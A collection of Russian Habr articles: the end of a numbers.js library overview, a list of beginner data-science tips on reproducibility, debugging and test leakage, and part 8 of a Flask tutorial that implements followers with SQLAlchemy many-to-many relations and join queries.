Использование собственных функций:
```
var myFunc = function(x) {
return 2*Math.pow(x,2) + 1;
}
numbers.calculus.riemann(myFunc, -2, 4, 200);
```
Статистические функции:
```
numbers.statistic.mean(array);
numbers.statistic.median(array);
numbers.statistic.mode(array);
numbers.statistic.standardDev(array);
numbers.statistic.randomSample(lower, upper, n);
numbers.statistic.correlation(array1, array2);
```
Сложение матриц:
```
var array1 = [0, 1, 2];
var array2 = [3, 4, 5];
numbers.matrix.addition(array1, array2);
```
Наибольший общий делитель:
```
numbers.basic.gcd(x, y);
```
Библиотеке всего около месяца, но она смогла привлечь внимание разработчиков на Гитхабе и активно пополняется (пару недель назад набор функций был почти вдвое скромнее).
#### Ссылки
[Гитхаб](https://github.com/sjkaliski/numbers.js), [документация](http://jsdoc.info/sjkaliski/numbers.js/). | https://habr.com/ru/post/164169/ | null | ru | null |
# Заповеди начинающего DS
Привет! Меня зовут Mashkka Тихонова. Я - Senior Data Scientist, а еще я активно преподаю все, что связано с ML, DS и DL - помогаю людям начать свой путь в Data Science!
За годы преподавания у меня накопилось много советов для тех, кто только-только начинает свой путь в DS. Этими советами я всегда делюсь со студентами, а теперь решила собрать их в одном посте, написанном по мотивам моей [серии постов в tg](https://t.me/mashkka_ds) .
Советы эти совсем простые (уровня не заваливай горизонт на фото, когда фоткаешь пейзаж), но очень часто именно про такие базовые вещи на первых этапах забывают рассказать.В свое время я сама наступала на эти грабли, так как мне их никто не рассказал. Буду рада, если помогу вам этих ошибок избежать!
> *Замечение: и не заваливайте горизонт без нужды на фото, пожалуйста, сделать его ровным - это всего пара секунд!*
>
>
### Заповедь 1. Гуглить, гуглить, гуглить и еще раз гуглить!
Самый важный навык, который первым делом должен освоить любой DS - это **гуглить!**
* *Ищешь ответ на вопрос? - Гугли, а только потом спроси!*
* *Не работает код? - Гугли!*
* *Выбираешь алгоритм? - Гуглить!*
* *Нужен пример кода? - Гугли!*
* *Не знаешь, как правильно закодить? - Гугли!*
* *Нужны статьи по теме? - Гугли!*
* *и т. д. и т. п.*
Гугл, конечно, знает не все, но ооооочень многое. И прежде, чем бежать с вопросами к коллегам, знакомым, преподавателям - загуглите. Скорее всего вы найдете ответ.
И помните не забывайте **золотые правила Гуглежа:**⬇
1. **Гуглить только в Гугле**, лучше на ванильном [Google.com](http://google.com/). Никакого поиска в Яндексе, Mail или Bing, если вы ищите что-то по Data Science. Не хочу обидеть другие поисковики, я сама люблю поиск Яндекса, но для целей Data Science - это Google и только он.
2. **Гуглить только на английском**: не пытайтесь что-то искать на русском языке - это боль. Даже если не знаете английский, лучше перевести ваш запрос на английский и загуглить так.
3. **Гуглить по ключевым словам**: при формулировке запроса старайтесь выделить ключевые слова (на английском) и загуглить именно их. Вероятность найти то, что вы ищите, намного выше, чем когда вы формулируете предложение целиком.
### Заповедь 2. Всегда фиксируйте random\_state
Если у вас в коде есть какая-то случайность (случайное разбиение на train и test, случайная инициализация и т. д.), то лучше эту случайность зафиксировать. Для этого у всех методов обычно есть специальные параметры типа `ransdom_state`, `seed`, `random_seed` и т.п.
Согласитесь, обидно: перезапустил ноутбук и скор упал или вообще все сломалось? Поэтому старайтесь, чтобы ваш код работал детерминировано и всегда выдавал один и тот же результат.
Всем рассказываю страшилку про своего стажера. Он долго-долго обучал нейросеть, а когда я попросила его оценить качество и прогнать модель на тесте, он с ужасом понял, что забыл зафиксировать `random_state` при разбиении на train и test, а код с разбиением заглушил. Странная ситуация: есть модель, есть данные, а оценить ее нельзя - непонятно, какие данные использовались при обучении и на чем её тестировать. Пришлось переобучать.
```
train_X, test_X, train_Y, test_Y = train_test_split(X, Y,
test_size=0.2,
random_state=42)
```
**Итог:** `random_state = 42` наше все!
### Заповедь 3. Читайте логи
Не надо бояться страшных логов ошибок. Часто в них содержится та самая информация, которая поможет понять, что не так в коде.
Единого "правила чтения" логов нет, у каждого здесь свой "авторский" подход. Я обычно вначале смотрю, на какой строчке все сломалось, а потом прокручиваю в самый конец - в последней строчке как правило содержится ключевая информация, что не так. Если этого оказалось недостаточно, то начинаю читать логи снизу вверх, постепенно раскручивая ошибку из недр Python вверх как спираль. А еще чаще гуглю (*в Google! по правилу 1*) самую последнюю строчку ошибки и в большинстве случаев на [Stack Overflow](https://stackoverflow.com/) нахожу ответ.
Кстати, у sklearn очень хорошие подсказки в логах, которые зачастую напрямую говорят, что не так и как это исправить.
Например:
*На картинке sklearn прямо пишет о том, что в наших обучающих данных содержится всего один признак или пример надо попросту сделать* `train_X.reshape`
*А дальше просто смотрим на размерность* `X_train` *и обнаруживаем, что да, в данных действительно всего один признак:*
*Значит, по совету sklearn из логов надо написать так:*
```
model.fit(train_X.reshape(-1, 1), train_Y)
```
Или пример чуть посложнее:
*При попытке зафитить GridSearch на ирисах Фишера (задача классификации на 3 класса), оценивая качество с помощью F1:*
```
clf = GridSearchCV(svc, parameters, scoring = 'f1')
clf.fit(iris.data, iris.target)
```
sklearn подскажет нам, что необходимо указать тип агрегации, среди прочего выдав в логах вот такую подсказку:
```
ValueError: Target is multiclass but average='binary'. Please choose another average setting, one of [None, 'micro', 'macro', 'weighted'].
```
нам остается просто последовать его совету и поменять `scoring = 'f1'` на `scoring = 'f1_micro'`:
```
clf = GridSearchCV(svc, parameters, scoring = 'f1_micro')
clf.fit(iris.data, iris.target)
```
### Заповедь 4. Едим слона по частям - дебажим по кускам
Как часто бывает, что код не работает и не понятно почему. Или еще хуже, работает неверно и в переменных оказывается записано что-то непонятное совсем с потолка.
Например, такое нередко случается, если вы пытаетесь разом совместить всю предобработку данных вместе с обучением модели и запихиваете все это в одну ячейку кода, оборачивая в *ColumnTransformer, Pipeline*, и *GridSearchCV*.
В этом случае дебаг вам в помощь! И если вы пока еще не освоили базовые логгеры и такую удобную штуку как [VS Code](https://code.visualstudio.com/) (а я очень рекомендую вам это сделать и как можно скорее), то самое простое - это понаставить побольше принтов - `print` (можно прямо после каждой строчки кода), чтобы отследить что оказалось в каждой переменной на каждом шагу. Чаще всего это помогает найти ту самую строчку, где все пошло не так.
А еще можно разбить одну ячейку с кодом на несколько (чем детальнее, тем лучше), выводя в конце каждой клетки значения переменных и проверяя их корректность.
Что касается `ColumnTransformer` и `Pipeline`, то на этапе первично написания кода, я обычно обхожусь без них, так как они очень усложняют дебаг. А оборачиваю в них все уже в конце, после первичной отладки кода. Но тут уже вкусовой вопрос.
Замечание: еще раз подчеркну, что специально сейчас не касаюсь сейчас всяких логгеров и прочих более продвинутых фишек откладки кода, а говорю про самый упрощенный дебаг на уровне принтов. Такой дебаг доступен всем, даже самым-самым начинающим DS, которые работают в GoogleColab. Если хотите начинать трушно, я только за!
### Заповедь 5. Никогда не обучайтесь на тесте
Никогда, никогда, никогда ***не обучайте модель на тесте***! То, что модель ни в каком виде не должна видеть тест на этапе обучения вы должны запомнить как 2 X 2 = 4.\* Показать (или дать подглядеть) модели тест - это все равно, что прорешать со школьником его вариант ЕГЭ в классе, а потом радоваться, что он получил высокий балл. Это, конечно, здорово, но к реальным знаниям, то есть качеству модели, этот результат на таком утекшем тесте отношения не будет иметь.
\*В примере 2 X 2 = 4 я предполагаю, что мы находимся в кольце целых чисел со стандартной операцией умножения.
Но если с обучением модели и тестом все ясно, на то он и тест, то с обучением трансформаций типа `StandardScaler` или `CountVectorizer` и т. п. есть еще один нюанс. Метод `fit_transform` для них можно вызывать только от обучающих данных (то есть от `train`), а для теста всегда используем лишь `transform`:
```
X_train_scaled = scaler.fit_trasnform(X_train)
(Эту строчку сделать зачеркнутой!) X_test_scaled = scaler.fit_trasnform(X_test)
X_test_scaled = scaler.trasnform(X_test)
```
Строчка `X_test_scaled = scaler.fit_trasnform(X_test)` может полностью испортить ваш эксперимент, ведь обучение на тесте приведет к тому, что на обучающей и тестовых выборках данные будут отмасштабированы по-разному, а значения train и test не будут биться между собой.
Пример:
*Допустим у нас есть набор данных* `x_train = [0, 10, 20], x_test = [0, 5, 10]`, *к которому мы хотим применить минимаксное преобразование (это преобразование приводит данные в диапазон [0-1]).*
*Отталкиваясь от значений в* `x_train,` *получаем вот такое соответствие:*
*0 => 0
5 => 0.25
10 => 0.5
20 => 1*
*В итоге получаем, что* `X_train_scaled = [0, 0.5, 1], X_test_scaled = [0, 0.25, 0.5]`.
*Но стоит руке дрогнуть и случайно написать:*`X_test_scaled = scaler.fit_trasnform(X_test)` *и, о ужас, соответствие на тесте изменится и для теста мы получим вот такую вещь:*
*0 => 0
5 => 0.5
10 => 1*
*и в итоге получим* `X_train_scaled = [0, 0.5, 1]`, `X_test_scaled = [0, 0.5, 1]`, *что полностью собьет с толку вашу модель.*
### Заповедь 6. Не называйте переменные также как библиотеки или функции
Не самая частая, но очень неприятная ошибка: загрузил пакет или функцию, а потом нечаянно назвал переменную тем же именем. Как итог, тщетно пытаешься применить эту функцию, получая странный error, в котором непонятно ничего. Обычно выглядит это как-то так:
```
TypeError: 'ResultSet' object is not callable.
```
Как это связано с функцией/пакетом? НепАнЯтнА! А загулить такое по названию метода не получается никак... Тяжело...
*Помню, одна студентка парсила данные и импортировала* `BeautifulSoup` *- библиотеку для работы с html-документами по именем soup:*
```
from bs4 import BeautifulSoup as soup
```
*Потом в совершенно другой ячейке написала:*
```
soup = soup(html, 'html.parser')
print(soup.prettify()[:2000])
```
*А потом долго недоумевала, почему при первом запуске все окей, но если перезапустить ячейку, то все ломается и что не так.*
*А дело было в том, что после выполнения* `soup = soup(html, 'html.parser')`*, имя* `soup` *превращается в обычную переменную. Вот такие дела....*
### Заповедь 7. Со StackOverflow копировать код надо из ответа, а не из вопроса
Заповедь эта немного шуточная и написана под вдохновением [одного из подкастов Андрея Себранта](https://music.yandex.ru/album/6407298/track/50057089), а ее название говорит само за себя, к нему и добавить-то нечего. Разве что прочитайте все ответы на вопрос и найдите тот, который действительно даёт правильный ответ!
### Заповедь 8. Не забывайте про бэкап - делайте промежуточные чекпоинты
*Как же приятно запустить код на выходные/поставить обучаться большую модель, а потом в понедельник обнаружить, что вычисления посчитались почти до конца, но в последний момент код упал. Например, на выходные перезапустили сервер, когда ваш прогресс был уже 99%!*
*Или при парсинге огромного сайта после тысячной страницы вас забанили по API, а ваш код упал.*
Подобных случаев, увы, в практике любого DS-ника не избежать. Но от них можно хотя бы частично обезопасить себя, если делать промежуточные чекпоинты модели, сохранять раз в несколько итераций обработанные данные и логгировать прогресс. Тогда вам не придется перезапускать все с нуля, и вы сможете частично восстановить результат.
Совет, казалось бы, очевидный, но почему-то очень часто многие забывают про него. Но помните, поленившись написать пару строк кода с сохранением, вы всегда рискуете потом об этом пожалеть!
### Заповедь 9. Трепещите перед мощью и коварностью регулярок
Регулярные выражения - очень мощный и удобной инструмент для работы с текстами. Они позволяют эффективно искать/заменять в текстах фрагменты, удовлетворяющие определенному шаблону. С помощью регулярок можно действительно решить кучу разных задач, связанных с поиском по тексту, но не стоит недооценивать их коварство.
*Ведь не зря говорят, когда некоторые люди сталкиваются с проблемой, думают «Я знаю, я решу её с помощью регулярных выражений.» Теперь у них две проблемы* ***©***
У регулярок обожают вылезать крайние случаи, в которых они работают неправильно (спецсимволы, выражения, не удовлетворяющее шаблону в конце/начале строки и т. п.). А потом начинается бег по кругу: вы пытаетесь учесть крайний случай и регулярка начинает неправильно работать в другом месте и т. д. и т. п. Как итог, она разрастается до монструозных размеров, и вообще становится непонятно, когда она работает, а когда нет.
Надеюсь, я вам не слишком напугала. Не стоит боятся регулярок, они действительно удобные, но с ними надо всегда быть аккуратными, вот и все!
### Заповедь 10 (заключительная). Встав перед выбором, проводите эксперимент
Если вы не знаете, как правильно, то Google, как вы знаете, знает все. Поэтому, в любой непонятной ситуации, по заповеди 1, мы гуглим. Но что делать, если у вас есть два варианта, оба правильные, но вы не знаете какой из них лучше взять?
Встав перед таким выбором настоящий Data Scientist проведет эксперимент: **попробует оба варианта и выберете тот, который окажется в данной ситуации лучше** (например, на валидации).
> *Студенты часто спрашивают: "Мария, вот у меня есть какой-то там датасет (который я лично никогда и в глаза не видела) и какая-то там задача (о которой я пока имею очень смутное представление только с их слов), как мне лучше всего заполнить пропуски в данных, медианой или средним? А какой метод снижения размерности выбрать?"*
>
> *На подобные вопросы я всегда отвечаю так: "Сравните и выберете то, что даст лучший результат! Только эксперимент даст вам ответ, что будет лучше в вашем конкретном случае!"*
>
>
Warning: только не переборщите с количеством вариантов, особенно при переборе гиперпараметров методом `GridSearchCV`. Помните, с ростом количества перебираемых фичей, количество вариантов возрастает мультипликативно, то есть в разы. Поэтому всегда прикидывайте, сколько вариантов у вас получится и сколько вы готовы ждать результат.
**Итого:** в любой непонятной ситуации - гугли, а в любой неоднозначной - проводи эксперимент!
**Заключение:**Буду рада, если эти советы помогут вам избежать самых типичных ошибок на пути начинающего Data Scientist. А возможно, если вы уже опытный DS-ник, они вас позабавят и вы с улыбкой вспомните, как сами через это прошли. А еще обязательно прочитайте мои [вредные советы Айтишнику](https://t.me/mashkka_ds/333)!
Также приглашаю всех посетить открытый урок для новичков в ML на тему «Первичный анализ данных с Pandas», который пройдет я проведу уже сегодня. На встрече обсудим, зачем нужен первичный анализ данных в машинном обучении, какие существуют инструменты для первичного анализа данных в Python, как визуализировать данные и какая преобработка данных нужна в ML. Запись на урок доступна по ссылке ниже. А для тех, кто не успеет зарегистрироваться, по этой же ссылке будет доступна запись урока.
* [Зарегистрироваться на бесплатный урок](https://otus.pw/Gkb0/) | https://habr.com/ru/post/712592/ | null | ru | null |
# Мега-Учебник Flask, Часть 8: Подписчики, контакты и друзья
Это восьмая статья в серии, где я описываю свой опыт написания веб-приложения на Python с использованием микрофреймворка Flask.
Цель данного руководства — разработать довольно функциональное приложение-микроблог, которое я за полным отсутствием оригинальности решил назвать microblog.
**Оглавление** [Часть 1: Привет, Мир!](http://habrahabr.ru/post/193242/)
[Часть 2: Шаблоны](http://habrahabr.ru/post/193260/)
[Часть 3: Формы](http://habrahabr.ru/post/194062/)
[Часть 4: База данных](http://habrahabr.ru/post/196810/)
[Часть 5: Вход пользователей](http://habrahabr.ru/post/222983/)
[Часть 6: Страница профиля и аватары](http://habrahabr.ru/post/223375/)
[Часть 7: Unit-тестирование](http://habrahabr.ru/post/223783/)
[Часть 8: Подписчики, контакты и друзья(данная статья)](http://habrahabr.ru/post/230643/)
[Часть 9: Пагинация](http://habrahabr.ru/post/230897/)
[Часть 10: Полнотекстовый поиск](http://habrahabr.ru/post/234613/)
[Часть 11: Поддержка e-mail](http://habrahabr.ru/post/234737/)
[Часть 12: Реконструкция](http://habrahabr.ru/post/234785/)
[Часть 13: Дата и время](http://habrahabr.ru/post/236753/)
[Часть 14: I18n and L10n](http://habrahabr.ru/post/236861/)
[Часть 15: Ajax](http://habrahabr.ru/post/237065/)
[Часть 16: Отладка, тестирование и профилирование](http://habrahabr.ru/post/237317/)
[Часть 17: Развертывание на Linux (и даже на Raspberry Pi!)](http://habrahabr.ru/post/237489/)
[Часть 18: Развертывание на Heroku Cloud](http://habrahabr.ru/post/237517/)
Краткое повторение
------------------
Наш маленький микроблог потихоньку растёт, и сегодня мы затронем темы, которые необходимы для законченного приложения.
Сегодня мы немного поработаем с нашей базой данных. Каждый пользователь нашего приложения должен иметь возможность выбирать пользователей, которых он хочет отслеживать, также наша база должна хранить данные о том кто кого отслеживает. Все социальные приложения имеют эти возможности в разных вариациях. Одни называют это Контактами, другие Связями, Друзьями, Приятелями или Подписчиками. Некоторые сайты используют похожую идею для списка Разрешенных и Игнорируемых пользователей. Мы назовем их Подписчиками, но реализовывать будем не держась за название.
Дизайн функции 'Подписчики'
---------------------------
Перед тем как мы начнем писать код, давайте подумаем о той функциональности, которую мы хотим получить от этой фичи. Давайте начнем с самого очевидного. Мы хотим чтобы нашим пользователям было удобно поддерживать списки подписок на других пользователей. С другой стороны, мы хотим знать список подписчиков каждого пользователя. Мы также хотим иметь возможность узнать есть ли у пользователя подписчики или подписан ли он сам на других пользователей. Пользователи будут кликать на ссылку «Подписаться» в профиле любого другого пользователя, чтобы начать его отслеживать. Таким же образом, клик на ссылку «отписаться», будет отменять подписку на пользователя. Последнее требование является возможность пользователя запросить из базы все посты отслеживаемых пользователей.
Итак, если вы думали что это будет быстро и легко, подумайте еще раз!
Связи внутри базы
-----------------
Мы сказали что хотим иметь для всех пользователей списки подписчиков и подписок. К сожалению, реляционные базы данных не имеют типа @@list@@, всё что у нас есть это таблицы с записями и отношения между записями. У нас уже есть таблица в нашей базе, предствляющая пользователей, осталось придумать отношения зависимости которые смоделируют связи подписчиков/подписок. Это хороший момент, чтобы разобрать три типа отношений в реляционных базах:
### Один-ко-многим
Мы уже видели отношение «один-ко-многим» в предыдущей статье о базе данных:
Две сущности связаные подобными отношениями это `users` и `posts`. Мы говорим что юзер может иметь много постов, а пост имеет только одного юзера. Эти отношения используются в БД с внешним ключем (FK) на стороне «многих». В приведенном выше примере внешним ключ является поле `user_id`, добавленное в таблицу `posts`. Это поле связывает каждый пост с записью об авторе в таблице пользователей.
Понятно, что поле `user_id` обеспечивает прямой доступ к автору данного поста, но что насчет обратной связи? Чтобы связь была полезной, мы должны быть в состоянии получить список постов написаных пользователем. Оказывается поля `user_id` в таблице `posts` достаточно, чтобы ответить на наш вопрос, так как базы данных имеют индексы, которые позволяют делать такие запросы как «получить все сообщения где user\_id равно X».
### Многие-ко-многим
Отношения «многие-ко-многим» немного сложней. Для примера рассмотрим БД в котором хранятся `students`и `teachers`. Мы можем сказать что у студента может быть много преподавателей, а у преподавателя может быть много студентов. Это похоже на два частично совпадающих отношения «один-ко-многим».
Для отношений такого типа мы должны быть в состоянии запросить БД и получить список учителей, которые учат студента, и список студентов в классе учителя. Оказывается это довольно сложней представить в базе, такое отношение не может быть смоделировано добавлением внешних ключей к уже существующим таблицам.
Реализация отношения «многие-ко-многим» требует использования вспомогательной таблицы, называемую сводной таблицей. Вот, например, как будет выглядеть БД для студентов и преподавателей:
Хоть это может показаться непростым, но сводная таблица может ответить на многие наши вопросы, такие как:
* У кого учится студент S?
* Кого учит учитель T?
* Как много студентов у учителя T?
* Как много учителей у студента S?
* Учитель T учит студента S?
* Студент S посещает класс учителя T?
### Один-к-одному
Отношения «один-к-одному» это частный случай отношений «один-ко-многим». Представление очень похоже, но содержит запрет на добавление больше чем одной связи, чтобы не превратиться в «один-ко-многим». Хотя есть случаи, в которых этот тип отношений полезен, это случается не так часто, как в случае двух других типов, так как в ситуации связи двух таблиц отношением «один-к-одному» может иметь смысл объединить таблицы в одну.
##### Представление подписчиков\подписок
Из приведенных выше отношений мы легко можем определить, что нам подходит модель данных «многие-ко-многим», потому что пользователь может следить за множеством других пользователей и пользователь может иметь много подписчиков. Но есть особенность. Мы хотим представлять пользователей подписанных на других пользователей, но мы имеем только одну таблицу пользователей. Итак, что мы должны использовать как вторую сущность в отношениях «многие-ко-многим»?
Конечно, второй сущностью в отношениях будет та же самая таблица пользователей. Отношения в которых экземпляры сущности связаны с дргими экземплярами той же сущности называются самоссылающимися отношениями, и это именно то, что нам нужно.
Это диаграмма наших «многие-ко-многим» отношений:
Таблица `followers` это сводная таблица. Оба внешних ключа указывают на таблицу `user`, т.к. мы связали таблицу с собой же. Каждая запись в этой таблицу представляет одну связь между подписанным пользователем и тем, на кого он подписан. Как в примере студентов и учителей, такая конфигурация как эта позволяет нашей базе данных ответить на все вопросы касательно подписчиков и их подписок, которые нам нужны. Всё довольно просто.
Модель БД
---------
Изменения в нашей модели будут не очень большие. Мы начнем с добавления таблицы @@followers@@ (файл @@app/models.py@@):
```
followers = db.Table('followers',
db.Column('follower_id', db.Integer, db.ForeignKey('user.id')),
db.Column('followed_id', db.Integer, db.ForeignKey('user.id'))
)
```
Это прямая трансляция связей таблиц из нашей диаграммы. Обратите внимание, что мы не объявляли эту таблицу в качестве модели, как мы делали для `users` и `posts`. Так как это вспомогательная таблица, которая не имеет данных, кроме внешних ключей, мы будем использовать низкоуровневое API flask-sqlalchemy для создания таблицы без создания ее модели.
Далее мы описываем отношения многие-ко-многим в таблице `users` (файл `app/models.py`)
```
class User(db.Model):
id = db.Column(db.Integer, primary_key = True)
nickname = db.Column(db.String(64), unique = True)
email = db.Column(db.String(120), index = True, unique = True)
role = db.Column(db.SmallInteger, default = ROLE_USER)
posts = db.relationship('Post', backref = 'author', lazy = 'dynamic')
about_me = db.Column(db.String(140))
last_seen = db.Column(db.DateTime)
followed = db.relationship('User',
secondary = followers,
primaryjoin = (followers.c.follower_id == id),
secondaryjoin = (followers.c.followed_id == id),
backref = db.backref('followers', lazy = 'dynamic'),
lazy = 'dynamic')
```
Конфигурация отношений нетривиальна и требует некоторых пояснений. Мы используем функцию `db.relationship`, чтобы определить связь между таблицами, как мы это делали в предыдущей статье. Мы свяжем экземпляр `User` с другим экземпляром `User`, и для соглашения скажем, что в паре связанных пользователей, левый пользователь подписан на правого пользователя. Как видно из описания отношений, левую сторону мы назвали `followed`, потому что, когда мы запрашиваем отношения левой стороны, мы получим список подписчиков. Давайте рассмотрим все аргументы `db.relationship` по одному:
* `'User'` правая сторона сущности в отношениях (левая сторона это родительский класс). Когда мы определяем самоссылающиеся отношения мы используем один и тот же класс на обоих сторонах.
* `secondary` указывает на сводную таблицу, используемую в этих отношениях.
* `primaryjoin` описывает связь левой стороны сущности со сводной таблицей. Обратите внимание, что таблица `followers` не является моделью, поэтому чтобы добраться до имени поля используется немного странный синтаксис.
* `secondaryjoin` описывает связь правой стороны со сводной таблицей.
* `backref` описывает как эти отношения будут доступны с правой стороны сущности. Мы сказали что для данного пользователя запрос `followed` возвращал все юзеров с правой стороны, которые связаны с пользователем слева. Обратная ссылка называется `followers` и она вернет всех пользователей слева, который связаны с пользователем справа. Дополнительный аргумент `lazy` указывает на способ выполнения данного запроса. Этот режим указывает не выполнять запрос, пока явно об этом не попросили. Это полезно для повышения производительности, а также потому, что мы сможем получить этот запрос и изменить его перед выполнением. Более подробно мы разберем это позднее.
* параметр `lazy` немного похож на параметр с таким же названием в `backref`, но этот относится к запросу, а не к обратной связи.
Не отчаивайтесь, если это тяжело для понимания. Мы увидим, как использовать эти запросы, и тогда всё станет понятней. Так как мы сделали обновления базы данных, теперь мы можем создать новую миграцию:
```
./db_migrate.py
```
Этим мы завершили изменения базы данных. Осталось совсем немного покодить.
Добавление и удаление подписчиков
---------------------------------
Для поддержки повторного использования кода, мы реализуем функционал подписки\подписчики внутри модели `User` и не станем выносить его в представление. Таким образом мы можем использовать эту функцию для текущего приложения (ссылаться из представления) и использовать ее в тестировании. В принципе, всегда лучше переместить логику приложения из представления в модель, это значительно упрощает тестирование. Вы должны держать представления как можно проще, потому что их тяжелей тестировать в автоматическом режиме.
Ниже приведем код для добавления и удаления подписчиков, определенный в виде методов модели `User` (файл `app/models.py`):
```
class User(db.Model):
#...
def follow(self, user):
if not self.is_following(user):
self.followed.append(user)
return self
def unfollow(self, user):
if self.is_following(user):
self.followed.remove(user)
return self
def is_following(self, user):
return self.followed.filter(followers.c.followed_id == user.id).count() > 0
```
Благодаря силе SQL Alchemy, которая делает много работы, эти методы являются удивительно простыми. Мы просто добавляем или удаляем элементы, а SQLAlchemy делает всю остальную работу. Методы `follow` и `unfollow` определены так, что они возвращают объект, когда всё прошло успешно, и None когда не удалось завершить операцию. Когда объект возвращается, он должен быть добавлен в базу и сделан commit.
Метод `is_following` делает довольно много, несмотря на одну строчку кода. Мы принимаем запрос, который возвращает все пары `(follower, followed)` с участием пользователя и фильтруем их по столбцу `followed`. Из `filter()` возвращается модифицированый запрос, пока еще не выполненный. Таким образом мы вызовем `count()` на этот запрос и теперь этот запрос будет выполнен и вернет количество найденых записей. Если мы получим хоть одну, то мы будем знать что связи есть. Если мы не получим ничего, то мы будем знать что связей нет.
Тестирование
------------
Давайте напишем тест для нашего кода (файл `tests.py`):
```
class TestCase(unittest.TestCase):
#...
def test_follow(self):
u1 = User(nickname = 'john', email = 'john@example.com')
u2 = User(nickname = 'susan', email = 'susan@example.com')
db.session.add(u1)
db.session.add(u2)
db.session.commit()
assert u1.unfollow(u2) == None
u = u1.follow(u2)
db.session.add(u)
db.session.commit()
assert u1.follow(u2) == None
assert u1.is_following(u2)
assert u1.followed.count() == 1
assert u1.followed.first().nickname == 'susan'
assert u2.followers.count() == 1
assert u2.followers.first().nickname == 'john'
u = u1.unfollow(u2)
assert u != None
db.session.add(u)
db.session.commit()
assert u1.is_following(u2) == False
assert u1.followed.count() == 0
assert u2.followers.count() == 0
```
После добавления этого теста в тест-фреймворк мы можем запустить набор тестов командой:
```
./tests.py
```
И если все работает все тесты будут успешно пройдены.
Запросы к БД
------------
Наша текущая модель БД поддерживает большинство требований, которые мы перечислили в начале. То, чего нам не хватает, на самом деле, реализовать трудней всего. На главной странице сайта будут показаны сообщения, написаные всеми людьми, за которыми следит наш залогиненый пользователь, поэтому нам нужен запрос, который возвращает все эти сообщения.
Наиболее очевидным решением является запрос, который даст список отслеживаемых людей, который мы уже можем сделать. Тогда для каждго из этих пользователей мы выполним запрос, чтобы получить его сообщения. Когда у нас будут все сообщения, мы можем объединить их в единый список и отсортировать по времени. Звучит хорошо? Не совсем.
Этот подход имеет пару проблем. Что произойдет, если пользователь отслеживает тысячу человек? Нам придется выполнить тысячу запросов к базе только чтобы собрать сообщения. И теперь у нас есть тысячи списков в памяти, которые мы должны отсортировать и объединить. На нашей главной странице реализована нумерация страниц, поэтому мы не будем показывать все доступные сообщения, а только первые 50, и ссылки по которым можно посмотреть следующие 50. Если мы собираемся показывать сообщения упорядоченые по дате, как мы узнаем какие из них являются последними 50 сообщениями всех пользователей, если сначала не получим все сообщения и не отсортируем их.
На самом деле это ужасное решение, которое очень плохо масштабируется. Хоть этот способ по сбору и сортировке хоть как-то работает, он недостаточно эффективен. Это именно та работа в которой реляционные БД преуспевают. База данных содержит индексы, которые позволяют ей выполнять запросы и сортировки гораздо эффективней, чем мы можем сделать это со своей стороны.
Мы должны придумать запрос, который выражает то, что мы хотим получить, а база данных вычислит каким образом более эффективно извлечь необходимую нам информацию.
Чтобы развеять тайну, вот запрос, который сделает то, что нам нужно. К сожалению это еще один перегруженый однострочник, который мы добавим к модели пользователя (файл `app.models.py`):
```
class User(db.Model):
#...
def followed_posts(self):
return Post.query.join(followers, (followers.c.followed_id == Post.user_id)).filter(followers.c.follower_id == self.id).order_by(Post.timestamp.desc())
```
Попробуем расшифровать этот запрос шаг за шагом. Здесь 3 части: join, filter, и order\_by.
### Joins
Чтобы понять что делает операция join, давайте рассмотрим пример. Предположим, у нас есть таблица `User` с следующим содержанием:
| User |
| --- |
| id | nickname |
| 1 | john |
| 2 | susan |
| 3 | mary |
| 4 | david |
Другие поля таблицы не отображены, чтобы не усложнять пример.
Давайте предположим что наша сводная таблица говорит что пользователь «john» подписан на «susan» и «david», пользователь «susan» подписана на «mary» и «mary» подписана на «david». Тогда сводная таблица будет выглядеть примерно так:
| followers |
| --- |
| follower\_id | followed\_id |
| 1 | 2 |
| 1 | 4 |
| 2 | 3 |
| 3 | 4 |
И в заключение, наша таблица `Post` содержит один пост от каждого пользователя:
| Post |
| --- |
| id | text | user\_id |
| 1 | post from susan | 2 |
| 2 | post from mary | 3 |
| 3 | post from david | 4 |
| 4 | post from john | 1 |
Здесь тоже убраны некоторые поля, чтобы не усложнят пример.
Ниже приводится часть нашего запроса с join изолированная от остальной части:
```
Post.query.join(followers,
(followers.c.followed_id == Post.user_id))
```
Операция `join` вызывается на таблице `Post`. Есть два аргумента, первый тот другая таблица, в нашем случае `followers`. Второй аргумент указывает по каким полям соединять таблицу. Операция `join` сделает временную таблицу с данными из `Post` и `followers` слитые по указанному условию.
В этом примере мы хотим чтобы поля `followed_id` таблицы `followers` соответствовали полю `user_id` таблицы `Post`.
Для выполнения данного слияния мы берем каждую запись из таблицы `Post` (левая часть join) и присоединяем поля из записи в таблице `followers` (правая часть join) которые соответствуют условию. Если запись не соответствует условию, то она не попадает в таблицу.
Результат выполнения join на нашем примере в этой временной таблице:
| Post | followers |
| --- | --- |
| id | text | user\_id | follower\_id | followed\_id |
| 1 | post from susan | 2 | 1 | 2 |
| 2 | post from mary | 3 | 2 | 3 |
| 3 | post from david | 4 | 1 | 4 |
| 3 | post from david | 4 | 3 | 4 |
Заметьте как сообщение с user\_id=1 было удалено из join, потому что нет записей в таблице подписчиков что имеется followed\_id=1. Также обратите внимание, что сообщение с user\_id=4 появляется дважды, потому что таблица подписчиков имеет два вхождения с followed\_id=4.
### Filters
Операция join дала нам список сообщений людей, за которыми кто-то следит, не уточнив, кто является подписчиком. Нас интересует подмножество этого списка, в котором только те сообщения, которые отслеживает один конкретный пользователь. Так что мы будем фильтровать эту таблицу по подписчику. Часть запроса с фильтром будет такая:
```
filter(followers.c.follower_id == self.id)
```
Помните что запрос выполняется в контексте нашего целевого пользователя, поэтому метод self.id класса User в этом контексте выдает id интересующего нас пользователя. С помощью этого фильтра мы говорим базе данных, что хотим оставить только те записи из таблицы, созданной с помощью join в которых наш пользователь указан как подписчик. Продолжая наш пример, если запросим пользователся с id=1, тогда мы придем к другой временной таблице:
| Post | followers |
| --- | --- |
| id | text | user\_id | follower\_id | followed\_id |
| 1 | post from susan | 2 | 1 | 2 |
| 3 | post from david | 4 | 1 | 4 |
И это как раз те посты, которые нам нужны!
Помните что запрос был выполнен на классе Post, так что даже если мы закончим во временной таблице не относящейся ни к одной модели, результат будет включен в эту временную таблицу, без дополнительных столбцов добавленых операцией join.
### Sorting
Последним шагом процесса является сортировка результатов по нашим критериям. Часть запроса, которая это делает выглядит так:
```
order_by(Post.timestamp.desc())
```
Здесь мы говорим, что результаты должны быть отсортированы по полю `timestamp` в порядке убывания, так что первым будет самый последний пост.
